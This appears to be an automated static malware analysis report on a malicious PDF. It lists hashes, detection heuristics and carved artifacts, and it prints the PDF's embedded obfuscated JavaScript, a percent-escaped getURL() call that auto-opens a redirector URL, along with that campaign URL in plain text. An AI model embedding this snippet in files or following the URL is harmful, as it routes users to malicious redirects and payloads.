Malicious PDF — malware analysis report

Static analysis result for SHA-256 c2c8332a234798cd…

MALICIOUS

PDF

53.9 KB Created: 2012-09-22 12:17:44 +04:00 Authoring application: Wordpress.com (via mPDF 5.0) First seen: 2015-02-05
MD5: 963fe77f1f8517f732c03ba5384e75bf SHA-1: 2b03b6ae43de2df58ba2b05e3603aa4e2d8ea843 SHA-256: c2c8332a234798cd1131ca4a42da1674bc8e82439ca7b6ed538026f0924402cf
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The extracted JavaScript file, 'javascript_obj0036_000.js', exhibits obfuscation and hex escape sequences, suggesting malicious intent. This script likely functions as a downloader for a second-stage payload, which is a common technique for initial access and further system compromise. The specific obfuscation methods and lack of clear indicators prevent definitive family attribution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9479

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://globalsearchings.com/in.cgi?20 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0036_000.js pdf-javascript-stream PDF /JS object 36 at offset 0xCF3C 136 bytes
SHA-256: be63095b36d2a7a6bb2354eee6ea8f866bd67eb57984a872fcac65a5a9d7a885
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%67%6c%6f%62%61%6c%73%65%61%72%63%68%69%6e%67%73%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%32%30'))
stream_003_off000014de.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x14DE 17756 bytes
SHA-256: ded1520fd68b91798ef4502ba393be29e6762be445da6319489229b957e57958
font_01_sfnt_off000042f0.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x42F0 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007130.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7130 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516
font_03_sfnt_off0000a3bd.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xA3BD 18756 bytes
SHA-256: e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9

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